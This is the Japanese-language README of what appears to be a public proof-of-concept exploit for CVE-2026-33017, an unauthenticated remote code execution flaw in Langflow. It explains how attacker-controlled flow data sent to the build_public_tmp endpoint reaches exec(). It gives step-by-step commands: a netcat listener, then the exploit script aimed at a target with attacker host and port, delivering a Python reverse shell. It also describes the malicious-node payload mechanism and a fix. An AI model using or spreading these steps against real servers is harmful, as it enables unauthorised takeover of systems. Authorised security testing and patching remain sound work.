
CVE-2026-33017 用の Python 概念実証エクスプロイト。Langflow の認証されていないリモートコード実行脆弱性です。悪意のあるフローノードインジェクションを介してリバースシェルを配信します。
⚠️ 免責事項: このリポジトリは、許可されたセキュリティテストおよび教育目的のみに使用されます。所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。作者は、このツールの誤用または損害について一切責任を負いません。
CVE-2026-33017 は、LangChain アプリケーションを構築するためのビジュアルフレームワークである Langflow における未認証のリモートコード実行の脆弱性です。
POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントは、認証なしでパブリックフローを構築することを許可します。オプションの data パラメータが指定されると、エンドポイントはデータベースに保存されているフローデータの代わりに、攻撃者が制御するフローデータ(ノード定義に任意の Python コードを含む)を使用します。このコードはサンドボックスなしで exec() に渡され、未認証のリモートコード実行が発生します。
client_id クッキー(任意の文字列値)のみが必要git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
攻撃マシン上で、リバースシェルを受け取るための netcat リスナーを起動します:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# ターミナル 1: リスナーを起動
nc -lvnp 4444
# ターミナル 2: エクスプロイトを実行
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — 攻撃者が制御する Python コードを含む CustomComponent を持つ悪意のある Langflow ノードを構築します。このコードには、グラフ構築中(フローが実際に「実行」される前)に実行されるトップレベルの os.system() 呼び出しが含まれます。
fire_payload() — 悪意のあるノードを JSON として、ランダムな client_id クッキーを持つ認証不要の build_public_tmp エンドポイントに送信します。
コード実行 — サーバーは攻撃者が提供したフローデータを解析し、カスタムコンポーネントをインスタンス化して、prepare_global_scope() の間に埋め込まれたコードに対して exec() を呼び出します。トップレベルの代入 _r = __import__('os').system(...) により、コマンド実行が即座にトリガーされます。
リバースシェル — ペイロードは、リスナーに接続し直す Python リバースシェルを起動します。
build_public_tmp エンドポイントは(パブリックフロー用に)認証不要となるように設計されていますが、data パラメータを介して攻撃者が提供したフローデータを誤って受け入れます。data が提供されると、保存されているフローデータをバイパスし、攻撃者が制御するノードを直接グラフビルダーに渡します。
build_public_tmp から data パラメータを削除します。パブリックフローは、データベースに保存されているフローデータのみを実行し、攻撃者が提供したデータを決して実行しないようにする必要があります。
このプロジェクトは、教育および許可されたセキュリティテスト目的のみで提供されます。
| 引数 | 必須 | 説明 |
|---|
--url | 必須 | ターゲット URL(例:http://localhost:7860) |
--flow-id | 必須 | パブリックフローの UUID |
--lhost | 必須 | リスナー(待ち受け)の IP アドレス |
--lport | 必須 | リスナー(待ち受け)のポート |
--timeout | 任意 | リクエストタイムアウト(秒)(デフォルト: 15) |